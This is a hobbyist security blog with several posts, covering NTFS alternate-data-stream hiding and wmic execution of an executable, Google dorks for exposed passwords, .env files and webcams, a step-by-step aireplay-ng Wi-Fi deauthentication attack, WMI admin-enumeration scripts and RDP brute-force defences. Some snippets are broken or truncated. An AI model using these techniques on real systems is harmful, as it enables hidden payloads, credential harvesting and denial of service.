Improve Your Developer Skills by Reading Bug Bounty Reports

I’m a professional software developer who likes to dabble in hacking.

I recently started spending time seeking out information security enthusiasts and hacking professionals who publish reports on their bug bounty work.

If you’re not familiar with bug bounties, the simplest explanation is someone putting up a prize or bounty for bugs found on a specific application / website.

Most of the time, bug bounties are official events where you register and are given guidelines in order to collect the bounty and that typically includes a good write up or report on how your discovered and exploited the bug and what type of bug it would be classifieds in to, like a “reflected XSS” cross-site scripting bug.

I’m going to use this bug discovery report from Vedant Tekale also known as “@Vegeta” on Twitter as an excellent bug bounty type of report where you can see the steps a hacker / attacker or bug bounty hunter would take to see if your website has a vulnerability that can be exploited.

As a software developer interested in creating secure applications for our users, we should always be aware of what tactics and techniques a bad actor might use against the products and features we are building.

Vedant’s write up is basically a step by step of what hackers would be looking for. First, look for bugs like XSS, open redirect, server-side request forgery (SSRF), Insecure direct object references (IDOR) but they found nothing.

With persistence, Vedant kept at it and found a bug in the password reset functionality where the password was reset feature was resetting the password to a brand new password on every forgot password attempt.

Also, rate limiting seemed to be missing as 88 password reset attempts went unchallenged so we guessing there was no rate limiting at all.

As a developer with a focus on security, I highly recommend adding reading bug bounty reports to your professional reading list. It will be a big eye opener for you if you’ve never tried hacking a web application before.

I’m on day 5 of chemo treatment for skin cancer and I think this is all I have in the tank tonight but I’m glad I got this blog post out before I have to put another round of chemo on my face for the night. It’s not pleasant. :-\

Hope this helps somebody. 😉

How to Hide Executable Code in a Text File using Cloaking and Alternative Data Streams

Hacker Basics: How to Hide an Executable File Inside and Text File

Did you know that hackers can hide an executable file inside of a text file using a technique that uses something called data streams to trick a computer system from seeing text and or executable written in an alternate data stream inside a common text file.

I was pretty impressed the first time I watched someone demonstrate this. I was like, NO WAY! I really thought that this was some wizard level hacker stuff.

I’m no wizard level hacker, although I aspire to be, but I should be good enough to show you how to embed a simple calculator app inside a text file using an alternate data stream.

A big thank you to Cyber Security Expert, Malcolm Shore who presented a similar example in his Cyber Security Foundation online course I recently completed.

How Do Alternate Data Streams Work?

Way back in the old Wild West days when we had the DOS operating system, files used to be simple strings of data. Files are read btye by byte.

Later, in the NTFS file system, files are complex structures. NTFS files at a minimum contain a section called $Data where data is read by an application. $Data is the Data Stream.

Files may have many other sections or streams other than just the $Data section. This is what we call “Alternate Streams”.

THIS IS IMPORTANT: Windows only recognizes data in the $Data section so any data we put in an alternate data stream is not read by the Windows Operating System. We cloak data we want to hide in an alternate data stream. That’s the basics of how this works.

The data we are hiding could be a malicious malware payload or encrypted espionage message for our spy ring but in this example, it is just the simple calc.exe file you can find on any Windows PC for the last 20+ years.

Creating an Alternate Data Stream in a Text File

The screenshot below shows the three (3) files we’ll be using in this demonstration.

  • Simple text file with some string data.
  • calc.exe application or executable binary file
  • Secret text file with some string data

We can see the size of the text file is just 1 KB and the calc.exe file is 897 KB.

If we open the text-data.txt file with Notepad we’ll see just a simple line of text and the same with the secret-data.txt file.

To hide our secret message inside the the text data file, we’ll use this command line command.

C:\text\>type secret-data.txt > text-data.text:hidden.text

Screenshot of Alternate Data Stream: Insert Hidden Text

Below is a screenshot of the command line command “type” that we used in this example to insert our secret-data.txt file into an Alternate Data Stream inside of another text file.

If we type the command “more” we can look for the secret message.

The screenshot below shows the text file that contains our hidden text being opened in Notepad where we can’t see the hidden text we saved to the file. If we type the command line command below, we can read the hidden text we wrote to our Alternate Data Stream by keying in on the specific data stream.

c:\test>more < text-data.txt:hidden:text
Screenshot: Display hidden text in a text file.

Hiding an Executable Inside a Text File

Hiding an executable file inside a text file using the exact same Alternate Data Stream technique we just used in the the Secret text file example above but this time we’ll simply replace the Secret text file with the Windows Calculator application executable file.

The screenshot below shows the command line command to save the calc.exe file in an Alternate Data Stream in side our target text file.

Notice this time, the Alternate Data Stream is named “mycalc.exe”. Don’t get to hung up on this, it is just a name that is basically meta data that is saved with the data that we can use to filter the data we get out of the file. I hope that makes sense.

Important to note at this point that the file sizes didn’t change when we inserted the calc.exe file. It is still showing 52KB.

How to Execute a File Saved in an Alternate Data Stream

To execute a file you’ve stored in an Alternate Data Stream, we’ll need to use the wmic command as is done in the following example.

c:\test>wmic process call "c:\test\text-data.txt:mycalc.exe"

As you can see from the working example above, I was able to embed the calc.exe file inside as well as text file and a secret message.

If the data is text we just need to indicate which stream we saved the data in to retrieve it.

If the data we hid was an executable file, we’ll need to use the Windows “wmic” command line command to call the executable from inside the text file by keying in on the Alternate Data Stream name.

In summary, the technique is crazy easy to pull off without any 3rd party hacking tools. It just requires a little Windows Operating System inside knowledge but is something every good hacker should know.

I hope this helped somebody!
~Cyber Abyss

How to Transfer Files from Windows PC to Linux Server Using Putty’s PSCP Command

Many blogs and web applications are being hosted on cloud based web servers. Of those web servers, many are running some flavor of the Linux operating system (OS).

If you’re a Windows PC user who is using a Linux web server for your online project then you have unique challenge that comes with being a dual OS user.

How will we transfer our files from our Windows development PC to our Linux cloud hosted blog or web app? Enter Putty and the PSCP command line tool!

What is Putty?

Putty is a Client application that handles connections to remote computers via the Telnet, SFTP and SSH protocols.

Putty Screenshot

What is PSCP?

PSCP is a command line application that is typically included in the Putty installation. PSCP transfers files between two computers from the Windows command line as long as firewalls allow the traffic on the designated ports for each type of traffic.

Transferring Files with PSCP from the Command Line

If you’ve installed Putty in the default directory, it will be here.

C:\Program Files\PuTTY

Open a Windows command line by clicking on the Windows start menu icon then entering “cmd” in the search field then find and click on the cmd icon.

Navigate to the Putty Directory by entering the command below.

C:\>CD c:\Program Files\Putty

Let’s look at an example PSCP command to transfer a file from a Windows PC to a Linux cloud web server with a fake user named root, IP of and a target folder of /var/www/html

PSCP Command Example

c:\>C:\Program Files\Putty\pscp c:\temp\sample.txt root@


That’s all you should need to know about connecting to a Linux cloud based web server from a Windows PC using the Putty SSH client.

Hope this helps you on your Cyber journey!

~Cyber Abyss

Google Dorking? Yeah, it’s a thing. Search Google for Hidden Files

Let me start by saying the title might be a little off, as the files are not technically hidden as much as they are obscure.

While most of us would consider ourselves pretty good Googler searchers these days but the truth is, there is so much more to Google searching than meets the eye.

Introducing… “Google Dorking”

Yes, I said it Google Dorking and it’s not what you might think. Sounds dirty, right? It’s not just me. LOL

Google Dorking also known as Google hacking is about searching Google in a way that filters and brings all sorts or OSINT and InfoSec goodies floating to the top.

Think Before You Dork!!!

Although the information my be available on Google, it does not mean you can use that information to try and hack or gain unauthorized access to a system or individual computer.

Hacking is illegal, don’t do it, don’t talk about it.

With that being said, please be careful, be responsible and please enjoy these Google Dorking Examples for educational purposes.

Searching Google for user names and password in log files

allintext:username filetype:log

Searching Google for Open FTP Servers

intitle:"index of" inurl:ftp

Searching Google for Open Web Cams

Intitle:"webcamXP 5"


Searching Goolge for Database Passwords

db_password filetype:env

Searching Google for Git-hub Resources

filetype:inc php

Searching Google for PHP Variables

filetype:php "Notice: Undefined variable: data in" -forum

Search Google for Server Configuration Files

intitle:"WAMPSERVER homepage" "Server Configuration" "Apache Version"

Search Google for Nessus Scan Reports

intitle:"report" ("qualys"|"acunetix"|"nessus"|"netsparker"|"nmap") filetype:pdf

Search Google for Networking Xls Files

ext:xls netoworking

Search Google for FrontPage Servers w/ Admin Info

"#-Frontpage-" inurl:administrators.pwd

Search Google for Unprotected Cameras


Search Google for Hidden Login Pages

Username password site:com filetype:txt

Google Dorking Video by Null Byte

Hope this helps somebody!
~Cyber Abyss

VBScript WMI: How to Get Computer Serial Number from Local or Remote Windows PC

This Windows WMI script using VBScript, retrieves the serial number of the local or networked computer.

To use this code, copy it in to a text file and save it with a .vbs file extension for VBScript. Once you have the .vbs file, double click on it and you should get a message box with the names of the logged in user on the specified Windows PC on your network.

Windows WMI VBScript

Function GetComputerSerialNumber(strComputer)
	Set objWMIService = GetObject("winmgmts:" _
		& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 

	Set colComputer = objWMIService.ExecQuery _
		("SELECT * FROM Win32_ComputerSystemProduct",,48)
	For Each objComputer in colComputer
		GetComputerSerialNumber = objComputer.IdentifyingNumber
End Function

'strComputer = "XPS1234"
strComputer = "."

' Pass a . to run this on your own PC or add a string value for another on your network
call msgbox(GetComputerSerialNumber(strComputer))

How to Retrieve Logged in User from a Windows PC using VBScript WMI

If your in need of finding out who is logged on to a specific Windows PC on your network, run the VBScript below.

When executed, you’ll see a message box with the name of the account currently logged in the computer specified.

The VBScript Code

To use this code, copy it in to a text file and save it with a .vbs file extension for VBScript. Once you have the .vbs file, double click on it and you should get a message box with the names of the logged in user on the specified Windows PC on your network.

Function GetLoggedinUser(strComputer)
	Set objWMIService = GetObject("winmgmts:" _
		& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 

	Set colComputer = objWMIService.ExecQuery _
		("Select * from Win32_ComputerSystem")
	For Each objComputer in colComputer
		Wscript.Echo "Logged-on user: " & objComputer.UserName
End Function

' Pass a . to run this on your own PC or add a string value name for PC on your network
'strComputer = "XPS1234"
strComputer = "."

call msgbox(GetLoggedinUser(strComputer))

Stay tuned for more scripts in upcoming blog posts!

Hope this helps somebody!
~Cyber Abyss

VBScript WMI: Get List of Administrators from Windows PC

I’m breaking down a large VBScript I wrote as part of a larger computer inventory system prototype I built for what later became a much larger company.

This project was a big time investment for me that provided a lot of value to the company until they went out and purchased a commercial product and even then, the commercial product had things it did not do as well as my prototype.

The scanning volume eventually got so big that I had to run copies of the script on different parts of Active Directory at the same time to try and scale the scanning of computers on the network with all the data being stored in a SQL database backend.

This script and others I’ll be sharing in this series were contained within a loop of Active Directory computer records for a good size enterprise with about 10,000 desktops and laptops for some Active Directory OUs.

This script leverages Windows Management Instrumentation (WMI) to query what’s going on with this Windows network PC.

The first piece of code I’m sharing is for querying the Windows WMI to get a list of Administrators from a Windows PC. This code was used as part of a project to determine if any computers had unauthorized admin accounts we didn’t know about.

GetAdminstrators Function

To use this code, copy it in to a text file and save it with a .vbs file extension for VBScript. Once you have the .vbs file, double click on it and you should get a message box with the names of the admin accounts from the target device.

Function GetAdministrators(strComputerName)
On Error Resume Next

    Dim objWMIService, strQuery, colItems, Path, strMembers, strAdminList, iCounter
	iCounter = 0
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputerName & "\root\cimv2")
    strQuery = "select * from Win32_GroupUser where GroupComponent = " & chr(34) & "Win32_Group.Domain='" & strComputerName & "',Name='Administrators'" & Chr(34)
    Set ColItems = objWMIService.ExecQuery(strQuery,,48)
    strMembers = ""
    For Each Path In ColItems
		Dim strMemberName, NamesArray, strDomainName, DomainNameArray
        NamesArray = Split(Path.PartComponent,",")
		strMemberName = Replace(Replace(NamesArray(1),Chr(34),""),"Name=","")
		DomainNameArray = Split(NamesArray(0),"=")
        strDomainName = Replace(DomainNameArray(1),Chr(34),"")
        If strDomainName <> strComputerName Then
            strMemberName = strDomainName & "\" & strMemberName
			if iCounter = 0 then
				strAdminList =  strMemberName
				strAdminList = strAdminList & " > " & strMemberName 
			end if
			iCounter = iCounter + 1
        End If
	GetAdministrators = strAdminList
End Function
' Pass a . to run this on your own PC or add a string value for another on your network
call msgbox(GetAdministrators("."))
call msgbox(GetAdministrators("NetworkComputer1"))

Stay tuned for more scripts in upcoming blog posts!

Hope this helps somebody!
~Cyber Abyss

InfoSec Tip: What’s in those web server 404 NOT FOUND errors?

Catching Bad Guys using Web Server 404 Errors!

404 NOT FOUND pages in your web server logs are often the earliest sign of surveillance, foot printing or reconnaissance.

This probing event I caught was using the IP, bypassing DNS while probing for non-existent file called “/admin/config.php” all the way from Ramallah Palestine. #Infosec#OSINT#cybersecurity

Hope this helps someone!


Deauthentication Attack using Kali Linux: How to use Airmon – Airodump – Aireplay to Deny Wi-Fi Access

What is a “Deauth Attack”?

This article on deauthentication (Deauth) attacks on Hackernoon is a good a starting point.

A Wi-Fi deauthentication attack is a Denial of Service (DOS) attack done over Wi-Fi by flooding the air with deauthorization frames while spoofing the Wi-Fi SSID of your target wireless network.

This attack results in interruption in service for wireless devices by forcing them to disconnect from the target network.

As the device tries to reconnect, we continue to send deauth packets. Even if device does connect briefly, we eventually intercept one of the packets and device will disconnect.

If the attacker is relentless, your only option is to change your SSID but they can just pick it up again and repeat the process.

Kali Linux Commands You Might Need

#Tail command: tail redirects output from a file to the screen

#Use tail command to read in a file and display it on the screen

Example: tail -f -n 0 /var/log/messages

#-n is number of lines (default is 10), so -n 0 is a live feed of text.

#-f is “follow” option. output appended data as the file grows

#Get more help with tail by typing man tail.

#Network Config


#Wireless Config


iwconfig eth0 freq 2422000000
                   iwconfig eth0 freq 2.422G
                   iwconfig eth0 channel 3
                   iwconfig eth0 channel auto

Pasted from <>

Note: Setting the county code on wireless card – Do this before modifying the transmit power. For my USB wireless card has to have the country set before it would let me change the transmit power

#Setting the transmit power using the iw command. iw is used to manipulate wireless properties.

iwconfig [interface]

#Example: iwconfig wlan0 txpower 25


#Airmon Wireless Monitor

Use airmon-ng to set up a monitor

  • airmon-ng start [interface]
  • Example: airmon-ng start wlan0

#Run the command below if you are having problems with other processes when trying to run airmon-ng

  • Example: airmon-ng check kill

#Airodump Wireless Network Monitor

Use Airodump to monitor wireless networks.

Starting airodump

  • airodump-ng [interface] /
  • Example: airodump-ng wlan0mon
  • Example: airodump-ng wlan0mon (Dump out the Monitor mon data from previous step)

Press Ctrl + c to stop airodump-ng

The result is a monitor on wlan0 which shows as interface wlan0mon

#In the example below, the -0 represents “Type of Attack” = Deauthentication

#In the example below the 220 represents the amount of time to send deauthentication messages

#followed by the MAC Address and the Inteface that Airmon is listening on.

aireplay-ng -0 220 [MAC Address] [interface]

Example: aireplay-ng -0 220 -a A0:63:91:A6:84:36 wlan0mon

3 Low Cost Ideas to Address RDP Brute Force Attacks on Your Windows Web Server

Its late at night, I’m remoted in to my Windows web server. I’m reviewing the event logs and see something suspicious. Audit failures in the Security event logs.

The next 7 hours had me consumed in learning everything I can about “Brute Force RDP Attacks” and try to apply it to my server ASAP.

Before I go any further, I want to reiterate that this a hobby server I run. This is not a server I work on for my day job in a large enterprise environment. Hence the focus on low cost solutions.

First, Remote Desktop Protocol (RDP), is probably one of the most commonly unsecured items on Windows web servers which is also why your server is going to be relentlessly pounded by scanning tools and hackers trying to access your server via RDP, usually via port 3389.

Video: Brute Force Attack with Hydra Hacking Tool

I could just block port 3389 and move on with my life but I personally prefer to access this particular server via RDP to handle administrative tasks. Everything else is done via FTP or telnet.

I run all my hobby servers on a super tight budget. This article will discuss what I learned and how I applied that knowledge to mitigate some of the risk associated with managing Windows servers exposed to the Wild Wild West (WWW) with RDP connections using techniques that are no cost except for your time to implement.

Low Cost Ideas for Mitigating RDP Brute Force Attacks on Your Windows Servers

  1. Use Strong Passwords
    • Strong passwords are your first and best defense for any RDP brute force attack.
      • Use a password with a length or 12 character or more.
      • Don’t use words that can be found in a dictionary
      • Use a combination of UPPER CASE, lower case, numbers and special characters
      • Be Social Media aware! Don’t use friends, family, pets or info that could be derived from Social Media posts.
  2. Clean Up Old User Accounts
    • Make sure only the accounts you need are on your server.
    • Fewer accounts reduces possible attack vectors.
    • Also validate the level of access of the accounts on your server.
  3. Update Windows Firewall Rules
    • Exclude IP Ranges for Countries with highest amount of hacking.
    • See steps below for updating your Windows Firewall configuration to block IP ranges for China, Russia and North Korea.

Before You Mess with Your Firewall

The PowerShell script I cover below worked great but then decided to build a firewall rule manually for South American IP addresses and re-learned a very important lesson about working with Firewalls.

A word of caution: Don’t build your Firewall IP restrictions manually.

Always script them out in PowerShell. If you’re not 100% awake and paying attention, you will find yourself blocked out of your server and kicking yourself in the ass like I did.

Thankfully, I have a great hosting company, AccuWebHosting, who has been able to un-do all my screw ups so far. I’ve used them happily for many years and highly recommend them. I pay about $500 a year for a decent Windows server VPS with great support.

Use Windows Firewall to Block IP Ranges for China, Russia and North Korea and many others.

The steps to block IP ranges using Windows Firewall are pretty simple.

  1. Create a directory for working with PowerShell and PowerShell Scripts.
    • Example: C:\ip-security
  2. Go to this page click on Step 2 link to download your PowerShell scripts zip file.
  3. Extract contents of the the file to your “C:\ip-security” folder.
    • You folder should look like this:
  4. Open PowerShell from the Command Line as an Administrator so you’ll have the correct rights to make changes to the Windows Firewall
  5. Run this command to make sure PowerShell is in the right mode
    • “Set-ExecutionPolicy Bypass”
    • Type “Y” when prompted to access the change
  6. Type the following commands to import the IP Range Exclusions in to Windows Firewall.
    • Import-Firewall-Blocklist.ps1 -inputfile
    • Import-Firewall-Blocklist.ps1 -inputfile
    • Import-Firewall-Blocklist.ps1 -inputfile northkorea.txt
  7. You should now have IP blocks in your firewall.

If you’ve done these three things, your web server is better prepared than most.

Some Closing Thoughts on Web Server Security

Security on the internet is hard and ever changing. Running your own server for your hobby or side hustle can be done but can be very frustrating and overwhelming at times. Do as much of what I covered as you can.

We covered a few options above, but if you get nothing else from this article, make sure your passwords are long and hard to guess as this is the last defense before a bad guy gets access to your system.

From meetings I’ve been in with Enterprise engineers, passwords of 12 characters or more are best. Rainbow hash attacks can typically get most common passwords less than 12 characters. Scary, right?

Don’t use passwords made from words that can be found in a dictionary and now with the new world of social media, avoid using your kids, significant other or pet’s name or other references that can be guessed from online posts.

In one of the attacks that prompted me to write this article, one attacker used my youngest Son’s full name. I don’t use Facebook anymore so there only a few places you could go to figure that out.

I hope this story helps someone else on their IT Journey.

Rick Cable
Lost in the Cyber Abyss